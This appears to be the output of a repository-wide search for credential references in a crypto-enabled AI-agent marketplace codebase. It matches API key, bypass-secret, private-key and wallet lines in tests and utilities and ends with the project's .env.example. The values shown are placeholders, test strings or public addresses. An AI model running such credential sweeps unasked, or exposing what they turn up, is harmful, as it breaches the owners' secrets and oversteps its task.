./tests/crypto-payment/crypto-payment.test.mjs:33: preTokenBalances: [balance(PAYER, 500_000_000), balance(SWARMS_WALLET, 7_000_000)], ./tests/crypto-payment/crypto-payment.test.mjs:36: balance(SWARMS_WALLET, 7_000_000 + raw), ./tests/crypto-payment/crypto-payment.test.mjs:41: accountKeys: [{ pubkey: PAYER }, { pubkey: SWARMS_WALLET }], ./tests/crypto-payment/crypto-payment.test.mjs:52: wallets: [SWARMS_WALLET, OLD_WALLET], ./tests/crypto-payment/crypto-payment.test.mjs:99: tx.meta.preTokenBalances.push(balance(SWARMS_WALLET, 0, 'SomeOtherMint')); ./tests/crypto-payment/crypto-payment.test.mjs:100: tx.meta.postTokenBalances.push(balance(SWARMS_WALLET, 9_000_000_000, 'SomeOtherMint')); ./tests/crypto-payment/crypto-payment.test.mjs:106: tx.meta.preTokenBalances.push(balance(OLD_WALLET, 50_000_000)); ./tests/crypto-payment/crypto-payment.test.mjs:109: balance(SWARMS_WALLET, 57_000_000), ./tests/crypto-payment/crypto-payment.test.mjs:110: balance(OLD_WALLET, 0), ./tests/generate-image/generate-image.test.mjs:126: process.env.MASTER_SWARMS_API_KEY = 'test-swarms-key'; ./tests/generate-image/generate-image.test.mjs:127: process.env.OPENROUTER_API_KEY = 'test-openrouter-key'; ./tests/marketplace/README.md:32:export SWARMS_API_KEY=sk-... # swarms.world/platform/api-keys ./tests/marketplace/README.md:33:export VERCEL_AUTOMATION_BYPASS_SECRET=... # see "Vercel firewall" below ./tests/marketplace/README.md:49: `VERCEL_AUTOMATION_BYPASS_SECRET=` — every request sends the ./tests/marketplace/README.md:77:| `SWARMS_API_KEY` | enables authenticated tests (otherwise skipped, never failed) | unset | ./tests/marketplace/README.md:78:| `VERCEL_AUTOMATION_BYPASS_SECRET` | firewall bypass for production | unset | ./tests/marketplace/README.md:84:| `MARKETPLACE_WRITE_API_KEY` | API key of the dedicated test user the write tests publish as | unset | ./tests/marketplace/README.md:85:| `NEXT_PUBLIC_SUPABASE_URL`, `SUPABASE_SERVICE_ROLE_KEY` | service-role access the write tests use to seed daily limits and clean up | unset | ./tests/marketplace/README.md:101:| `VERCEL_AUTOMATION_BYPASS_SECRET` | ✅ while the firewall is on | lets CI through the bot challenge | ./tests/marketplace/README.md:102:| `SWARMS_TEST_API_KEY` | optional | enables the authenticated (positive) tests | ./tests/marketplace/README.md:120:| `auth` | 401 gating on `fetch-agent-count`, `fetch-prompt-count`, `product/list`, `product/fees`, `get-tokenized-products`, `user-products`, `add-prompt`, `add-agent`, `edit-prompt`, `edit-agent`, `v1/publish/bundle`; authenticated positives (counts, `product/list`, `product/fees` validation, `get-tokenized-products`, `user-products`) when `SWARMS_API_KEY` is set | ./tests/marketplace/README.md:164: `SWARMS_API_KEY`. ./tests/marketplace/README.md:172:set -a && . ./.env.local && set +a # NEXT_PUBLIC_SUPABASE_URL, SUPABASE_SERVICE_ROLE_KEY of that stack, never production ./tests/marketplace/README.md:174:MARKETPLACE_WRITE_API_KEY= \ ./tests/marketplace/config.mjs:7: * SWARMS_API_KEY — API key used for the authenticated (positive) tests. ./tests/marketplace/config.mjs:22:export const API_KEY = process.env.SWARMS_API_KEY || null; ./tests/marketplace/config.mjs:31:export const VERCEL_BYPASS_SECRET = ./tests/marketplace/config.mjs:32: process.env.VERCEL_AUTOMATION_BYPASS_SECRET || null; ./tests/marketplace/lib/harness.mjs:22: const { query, body, headers = {}, timeout = REQUEST_TIMEOUT_MS, apiKey } = opts; ./tests/marketplace/lib/harness.mjs:35: if (apiKey) finalHeaders['authorization'] = `Bearer ${apiKey}`; ./tests/marketplace/lib/harness.mjs:118: 'set VERCEL_AUTOMATION_BYPASS_SECRET to exempt the test suite]'; ./tests/marketplace/run-all.sh:11:# SWARMS_API_KEY — enables the authenticated tests ./tests/marketplace/run-tests.mjs:3: * Env: PROD_URL, LOCAL_URL override base URLs (see config.mjs); SWARMS_API_KEY enables authenticated tests. */ ./tests/marketplace/run-tests.mjs:9:import { ENVIRONMENTS, API_KEY, VERCEL_BYPASS_SECRET } from './config.mjs'; ./tests/marketplace/run-tests.mjs:79: apiKey: API_KEY, ./tests/marketplace/run-tests.mjs:81: bypassSecret: envKey === 'prod' ? VERCEL_BYPASS_SECRET : null, ./tests/marketplace/run-tests.mjs:133: lines.push(`- **Authenticated tests:** ${meta.hasApiKey ? 'enabled (SWARMS_API_KEY set)' : 'skipped (no SWARMS_API_KEY)'}`); ./tests/marketplace/run-tests.mjs:225:console.log(` api key: ${API_KEY ? 'provided' : 'not set (auth-positive tests will be skipped)'}`); ./tests/marketplace/run-tests.mjs:226:console.log(` waf bypass: ${VERCEL_BYPASS_SECRET ? 'provided (x-vercel-protection-bypass)' : 'not set (paced requests + retry on challenge)'}`); ./tests/marketplace/run-tests.mjs:233:const meta = { generatedAt: new Date().toISOString(), hasApiKey: Boolean(API_KEY) }; ./tests/marketplace/suites/agents.suite.mjs:86: if (!ctx.apiKey) t.skip('SWARMS_API_KEY not set — skipping authenticated test'); ./tests/marketplace/suites/agents.suite.mjs:89: await t.request('GET', `/api/get-agents/${agent.id}/full`, { apiKey: ctx.apiKey }); ./tests/marketplace/suites/auth.suite.mjs:3: * requires a Swarms API key, plus positive tests when SWARMS_API_KEY is set. ./tests/marketplace/suites/auth.suite.mjs:135: // --- Positive tests (need SWARMS_API_KEY) -------------------------------- ./tests/marketplace/suites/auth.suite.mjs:137: const key = ctx.apiKey; ./tests/marketplace/suites/auth.suite.mjs:139: if (!key) t.skip('SWARMS_API_KEY not set — skipping authenticated test'); ./tests/marketplace/suites/auth.suite.mjs:144: await t.request('GET', '/api/get-agents/fetch-agent-count', { apiKey: key }); ./tests/marketplace/suites/auth.suite.mjs:153: await t.request('GET', '/api/me', { apiKey: key }); ./tests/marketplace/suites/auth.suite.mjs:165: await t.request('GET', '/api/get-prompts/fetch-prompt-count', { apiKey: key }); ./tests/marketplace/suites/auth.suite.mjs:171: await t.request('GET', '/api/product/list', { apiKey: key }); ./tests/marketplace/suites/auth.suite.mjs:177: await t.request('POST', '/api/user-products', { apiKey: key, body: {} }); ./tests/marketplace/suites/auth.suite.mjs:185: await t.request('GET', '/api/get-tokenized-products', { apiKey: key }); ./tests/marketplace/suites/auth.suite.mjs:194: await t.request('GET', '/api/product/fees', { apiKey: key }); ./tests/marketplace/suites/auth.suite.mjs:205: { apiKey: key }, ./tests/marketplace/suites/auth.suite.mjs:215: apiKey: key, ./tests/marketplace/suites/auth.suite.mjs:216: body: { privateKey: 'x' }, ./tests/marketplace/suites/auth.suite.mjs:224: apiKey: key, ./tests/marketplace/suites/auth.suite.mjs:225: body: { ca: 'So11111111111111111111111111111111111111112', privateKey: 'x' }, ./tests/marketplace/suites/bearer-validation.suite.mjs:14: const key = ctx.apiKey; ./tests/marketplace/suites/bearer-validation.suite.mjs:16: if (!key) t.skip('SWARMS_API_KEY not set — skipping authenticated test'); ./tests/marketplace/suites/bearer-validation.suite.mjs:46: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:67: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:88: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:105: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:116: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:132: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:150: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:167: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:180: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:195: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:210: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:221: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:238: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:253: apiKey: key, ./tests/marketplace/suites/bearer-validation.suite.mjs:268: apiKey: key, ./tests/marketplace/suites/byte-mcp.test.mjs:45: constructor({ apiKey }) { ./tests/marketplace/suites/byte-mcp.test.mjs:46: this.apiKey = apiKey; ./tests/marketplace/suites/byte-mcp.test.mjs:49: return this.apiKey === KEY ./tests/marketplace/suites/byte-mcp.test.mjs:54: return this.apiKey === KEY ? USER : null; ./tests/marketplace/suites/byte-mcp.test.mjs:143: const before = process.env.ANTHROPIC_API_KEY; ./tests/marketplace/suites/byte-mcp.test.mjs:144: process.env.ANTHROPIC_API_KEY = 'set'; ./tests/marketplace/suites/byte-mcp.test.mjs:150: if (before === undefined) delete process.env.ANTHROPIC_API_KEY; ./tests/marketplace/suites/byte-mcp.test.mjs:151: else process.env.ANTHROPIC_API_KEY = before; ./tests/marketplace/suites/marketplace-chat.test.mjs:33: apiKey: 'test-key', ./tests/marketplace/suites/marketplace-chat.test.mjs:103: const previous = process.env.ANTHROPIC_API_KEY; ./tests/marketplace/suites/marketplace-chat.test.mjs:104: process.env.ANTHROPIC_API_KEY = 'test-key'; ./tests/marketplace/suites/marketplace-chat.test.mjs:127: if (previous === undefined) delete process.env.ANTHROPIC_API_KEY; ./tests/marketplace/suites/marketplace-chat.test.mjs:128: else process.env.ANTHROPIC_API_KEY = previous; ./tests/marketplace/suites/marketplace-chat.test.mjs:133: const previous = process.env.ANTHROPIC_API_KEY; ./tests/marketplace/suites/marketplace-chat.test.mjs:134: process.env.ANTHROPIC_API_KEY = 'test-key'; ./tests/marketplace/suites/marketplace-chat.test.mjs:140: if (previous === undefined) delete process.env.ANTHROPIC_API_KEY; ./tests/marketplace/suites/marketplace-chat.test.mjs:141: else process.env.ANTHROPIC_API_KEY = previous; ./tests/marketplace/suites/mcp.suite.mjs:4: * Swarms API key, and those tests skip without SWARMS_API_KEY. ./tests/marketplace/suites/mcp.suite.mjs:28: const key = ctx.apiKey; ./tests/marketplace/suites/mcp.suite.mjs:127: { apiKey: 'sk-not-a-real-key' }, ./tests/marketplace/suites/mcp.suite.mjs:189: t.skip('SWARMS_API_KEY not set — skipping authenticated MCP test'); ./tests/marketplace/suites/mcp.suite.mjs:202: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:338: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:361: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:377: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:400: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:420: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:431: { apiKey: key }, ./tests/marketplace/suites/mcp.suite.mjs:443: await post(t, rpc('resources/list'), { apiKey: key }); ./tests/marketplace/suites/meteora.suite.mjs:23:const FEE_WALLET = 'ATP9fbYE8sHPrwJi5CnotM5hwjkDkrveNUx75R8mvc1u'; ./tests/marketplace/suites/meteora.suite.mjs:62:const FEE_INFO_KEYS = [ ./tests/marketplace/suites/meteora.suite.mjs:73: t.hasKeys(body, FEE_INFO_KEYS, label); ./tests/marketplace/suites/meteora.suite.mjs:92: 'GET /api/cron/vanity-mint-keys without CRON_SECRET is rejected with 401', ./tests/marketplace/suites/meteora.suite.mjs:106: 'GET /api/cron/vanity-mint-keys with a wrong CRON_SECRET is rejected with 401', ./tests/marketplace/suites/meteora.suite.mjs:176: body: { ca: LAUNCHES[0].mint, privateKey: 'not-a-key' }, ./tests/marketplace/suites/meteora.suite.mjs:275: `/api/jupiter/partner-fees?tokenAddress=${launch.mint}&walletAddress=${FEE_WALLET}`, ./tests/marketplace/suites/misc.suite.mjs:368: ['without CRON_SECRET', { 'x-vercel-cron': '1' }], ./tests/marketplace/suites/misc.suite.mjs:369: ['with a wrong CRON_SECRET', { authorization: 'Bearer not-the-cron-secret' }], ./tests/marketplace/suites/prompts.suite.mjs:76: if (!ctx.apiKey) t.skip('SWARMS_API_KEY not set — skipping authenticated test'); ./tests/marketplace/suites/prompts.suite.mjs:79: await t.request('GET', `/api/get-prompts/${prompt.id}/full`, { apiKey: ctx.apiKey }); ./tests/marketplace/suites/publish.suite.mjs:30:const WRITE_API_KEY = process.env.MARKETPLACE_WRITE_API_KEY || null; ./tests/marketplace/suites/publish.suite.mjs:32:const SERVICE_ROLE_KEY = process.env.SUPABASE_SERVICE_ROLE_KEY || null; ./tests/marketplace/suites/publish.suite.mjs:48:const SELLER_WALLET = 'So11111111111111111111111111111111111111112'; ./tests/marketplace/suites/publish.suite.mjs:56: seller_wallet_address: SELLER_WALLET, ./tests/marketplace/suites/publish.suite.mjs:211: !WRITE_API_KEY, ./tests/marketplace/suites/publish.suite.mjs:212: 'set MARKETPLACE_WRITE_API_KEY to the API key of the seeded test user', ./tests/marketplace/suites/publish.suite.mjs:215: !SUPABASE_URL || !SERVICE_ROLE_KEY, ./tests/marketplace/suites/publish.suite.mjs:216: 'set NEXT_PUBLIC_SUPABASE_URL and SUPABASE_SERVICE_ROLE_KEY so the suite can seed limits and clean up', ./tests/marketplace/suites/publish.suite.mjs:266: apikey: SERVICE_ROLE_KEY, ./tests/marketplace/suites/publish.suite.mjs:267: authorization: `Bearer ${SERVICE_ROLE_KEY}`, ./tests/marketplace/suites/publish.suite.mjs:295: t.request('POST', ENDPOINTS[type], { apiKey: WRITE_API_KEY, body }); ./tests/marketplace/suites/publish.suite.mjs:322: apiKey: 'sk-publish-suite-invalid-key', ./tests/marketplace/suites/publish.suite.mjs:365: 'write setup: MARKETPLACE_WRITE_API_KEY belongs to a user, and rows left by earlier runs are removed', ./tests/marketplace/suites/publish.suite.mjs:370: key: `eq.${WRITE_API_KEY}`, ./tests/marketplace/suites/publish.suite.mjs:374: 'MARKETPLACE_WRITE_API_KEY matches no swarms_cloud_api_keys row', ./tests/marketplace/suites/reviews.suite.mjs:37: apiKey: 'sk-invalid-key-for-tests', ./tests/marketplace/suites/reviews.suite.mjs:45: if (!ctx.apiKey) t.skip('SWARMS_API_KEY not set — skipping authenticated test'); ./tests/marketplace/suites/reviews.suite.mjs:47: apiKey: ctx.apiKey, ./tests/marketplace/suites/search.suite.mjs:5: * SWARMS_API_KEY and is read-only. `semantic=false` keeps results deterministic. ./tests/marketplace/suites/search.suite.mjs:13: const key = ctx.apiKey; ./tests/marketplace/suites/search.suite.mjs:15: if (!key) t.skip('SWARMS_API_KEY not set — skipping authenticated test'); ./tests/marketplace/suites/search.suite.mjs:25: apiKey: 'sk-invalid-key-for-tests', ./tests/marketplace/suites/search.suite.mjs:33: await t.request('GET', '/api/search', { apiKey: key }); ./tests/marketplace/suites/search.suite.mjs:40: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:49: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:58: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:83: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:95: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:109: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:129: apiKey: key, ./tests/marketplace/suites/search.suite.mjs:143: apiKey: key, ./tests/marketplace/suites/tip-recipient-banned.test.mjs:22:const WALLET = '7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU'; ./tests/marketplace/suites/tip-recipient-banned.test.mjs:30: marketplace_user_wallets: [{ wallet_address: WALLET }], ./tests/marketplace/suites/tip-recipient-banned.test.mjs:63: wallet: WALLET, ./tests/marketplace/suites/trpc.suite.mjs:30: 'apiKey.getValidApiKey', ./tests/marketplace/suites/trpc.suite.mjs:31: 'apiKey.createDefaultApiKey', ./tests/marketplace/suites/trpc.suite.mjs:51: 'apiKey.getValidApiKey', ./tests/marketplace/suites/trpc.suite.mjs:57:const SWARMS_FEE_COLLECTION_WALLET = 'ATP9fbYE8sHPrwJi5CnotM5hwjkDkrveNUx75R8mvc1u'; ./tests/marketplace/suites/trpc.suite.mjs:65: 'apiKey.getApiKeys', ./tests/marketplace/suites/trpc.suite.mjs:107: const { privateKey } = generateKeyPairSync('ec', { namedCurve: 'P-256' }); ./tests/marketplace/suites/trpc.suite.mjs:109: key: privateKey, ./tests/marketplace/suites/trpc.suite.mjs:137: await t.request('GET', trpcPath('apiKey.getValidApiKey')); ./tests/marketplace/suites/trpc.suite.mjs:364: wallet === SWARMS_FEE_COLLECTION_WALLET, ./tests/marketplace/suites/trpc.suite.mjs:365: `expected ${SWARMS_FEE_COLLECTION_WALLET}, got ${JSON.stringify(wallet)}`, ./tests/marketplace/suites/trpc.suite.mjs:420: body: { json: { wallet: SWARMS_FEE_COLLECTION_WALLET } }, ./tests/marketplace/suites/trpc.suite.mjs:452: currency: 'USDC', transactionSignature: 'fake', tipperWalletAddress: SWARMS_FEE_COLLECTION_WALLET, ./tests/marketplace/suites/trpc.suite.mjs:511: await suite.test('apiKey.addApiKey refuses an anonymous caller', async (t) => { ./tests/marketplace/suites/trpc.suite.mjs:512: await t.request('POST', '/api/trpc/apiKey.addApiKey', { ./tests/marketplace/suites/trpc.suite.mjs:530: buyerWalletAddress: SWARMS_FEE_COLLECTION_WALLET, ./tests/marketplace/suites/trpc.suite.mjs:531: sellerWalletAddress: SWARMS_FEE_COLLECTION_WALLET, ./utils/collect_fees.ts:29:const DEFAULT_USER_WALLET = 'ATP9fbYE8sHPrwJi5CnotM5hwjkDkrveNUx75R8mvc1u'; ./utils/collect_fees.ts:51: * @param userWallet - The user wallet address (defaults to DEFAULT_USER_WALLET) ./utils/collect_fees.ts:57: userWallet: string = DEFAULT_USER_WALLET ./utils/collect_fees.ts:61: const hasWalletKey = !!process.env.FEE_COLLECTION_WALLET; ./utils/collect_fees.ts:64: console.error('[claimFeesWithUrl] FEE_COLLECTION_WALLET env var is not set'); ./utils/collect_fees.ts:69: Uint8Array.from(bs58.decode(process.env.FEE_COLLECTION_WALLET || '')) ./utils/collect_fees.ts:196: * @param userWallet - The user wallet address (defaults to DEFAULT_USER_WALLET) ./utils/collect_fees.ts:199:export async function claimFees(tokenMint: string, userWallet: string = DEFAULT_USER_WALLET): Promise { ./utils/collect_fees.ts:297: * @param params - Array of token mint and wallet pairs (userWallet is optional, defaults to DEFAULT_USER_WALLET) ./utils/collect_fees.ts:312: const result = await claimFees(param.tokenMint, param.userWallet || DEFAULT_USER_WALLET); ./utils/collect_fees.ts:328: claimFees(param.tokenMint, param.userWallet || DEFAULT_USER_WALLET) ./utils/collect_fees.ts:365: batch.map((param) => claimFees(param.tokenMint, param.userWallet || DEFAULT_USER_WALLET)) ./utils/create-launch-lookup-table.mjs:2:// share, and freezes it so it can never change or close. FEE_COLLECTION_WALLET pays the ~0.006 SOL rent. ./utils/create-launch-lookup-table.mjs:42:const rpcUrl = process.env.HELIUS_RPC_URL || process.env.RPC_URL; ./utils/create-launch-lookup-table.mjs:43:if (!rpcUrl || !process.env.FEE_COLLECTION_WALLET) { ./utils/create-launch-lookup-table.mjs:44: console.error('Set HELIUS_RPC_URL (or RPC_URL) and FEE_COLLECTION_WALLET'); ./utils/create-launch-lookup-table.mjs:50: bs58.decode(process.env.FEE_COLLECTION_WALLET.trim()), ./utils/grind-vanity-mints.mjs:15: const { publicKey, privateKey } = generateKeyPairSync('ed25519', { ./utils/grind-vanity-mints.mjs:17: privateKeyEncoding: { type: 'pkcs8', format: 'der' }, ./utils/grind-vanity-mints.mjs:23: parentPort.postMessage(Buffer.concat([privateKey.subarray(16), pub])); ./utils/grind-vanity-mints.mjs:35: process.env.SUPABASE_SERVICE_ROLE_KEY, ### ENVFILES ./.env.example ./.github/workflows/force-push-tripwire.yml ./.github/workflows/marketplace-api-tests.yml ./.github/workflows/pr-title-lint.yml ./.github/workflows/security-guardrails.yml ./tsconfig.json ./vercel.json ### ENVCONTENT --- ./.env.example NEXT_PUBLIC_SITE_URL="http://localhost:3000" # Github SUPABASE_AUTH_EXTERNAL_GITHUB_REDIRECT_URI="http://localhost:3000/auth/callback" SUPABASE_AUTH_EXTERNAL_GITHUB_CLIENT_ID= SUPABASE_AUTH_EXTERNAL_GITHUB_SECRET= # Google SUPABASE_AUTH_EXTERNAL_GOOGLE_CLIENT_ID= SUPABASE_AUTH_EXTERNAL_GOOGLE_SECRET= # These environment variables are used for Supabase Local Dev # The publishable key (sb_publishable_…) goes in NEXT_PUBLIC_SUPABASE_ANON_KEY # and the secret key (sb_secret_…) in SUPABASE_SERVICE_ROLE_KEY; the legacy # anon and service_role JWTs still work in the same variables. NEXT_PUBLIC_SUPABASE_ANON_KEY= NEXT_PUBLIC_SUPABASE_URL= SUPABASE_SERVICE_ROLE_KEY= # Get these from Stripe dashboard NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY= STRIPE_SECRET_KEY= STRIPE_WEBHOOK_SECRET= NEXT_PUBLIC_STRIPE_PAYMENT_PRODUCT_ID= NEXT_PUBLIC_STRIPE_SUBSCRIPTION_PRODUCT_ID= # Swarm publisher github SWARM_PUBLISHER_GITHUB_ACCESS_TOKEN="xxx" SWARM_REPO_OWNER="kyegomez" SWARM_REPO_NAME="swarms" # AI Image Generation (OpenRouter) OPENROUTER_API_KEY= # Swarms API for AI features (tag generation, image prompts, etc.) MASTER_SWARMS_API_KEY= # Marketplace API test suite (tests/marketplace) — all optional # API key for the authenticated (positive) tests; without it they are skipped SWARMS_API_KEY= # Vercel firewall bypass so the suite isn't blocked by the bot challenge # (Vercel project → Settings → Deployment Protection → Protection Bypass for Automation) VERCEL_AUTOMATION_BYPASS_SECRET= # Override target URLs / request pacing if needed # PROD_URL=https://swarms.world # LOCAL_URL=http://localhost:3000 # REQUEST_DELAY_MS=750 # Shared secret the app sends to its own /api/emails/* routes so they can tell # an internal server-side call from a request off the public internet. # Optional: when unset it is derived from SUPABASE_SERVICE_ROLE_KEY. INTERNAL_EMAIL_SECRET= # Optional, hex: signs unsubscribe links. When unset it is derived from # SUPABASE_SERVICE_ROLE_KEY, so rotating that key breaks links already emailed. UNSUBSCRIBE_SECRET= # Prompt security scanner used by /api/entity/security (server only). # Optional: when unset or empty it defaults to # https://skill-scanner.sas.swarms.world/v1/scan SECURITY_SCANNER_URL= # GitHub App for importing private repositories on /launch. Create the app at # github.com/settings/apps with Repository permissions -> Contents: Read-only # and Metadata: Read-only, and set its Callback URL to # /api/github/callback. Private-repo import is hidden when these are unset. NEXT_PUBLIC_GITHUB_APP_SLUG= GITHUB_APP_ID= # The generated .pem, single line, real newlines replaced with \n GITHUB_APP_PRIVATE_KEY= # Meteora token launches (shared/utils/meteora.ts) # Platform partner wallet secret key (base58): the fee claimer on every launch config, and the key the fee sweep signs with FEE_COLLECTION_WALLET= # Launch signer secret key (base58): co-signs every pool creation so terminals can index Swarms launches. # Holds no funds. Only used once LAUNCH_LOOKUP_TABLE is set in shared/utils/meteora.ts. LAUNCH_SIGNER_KEY=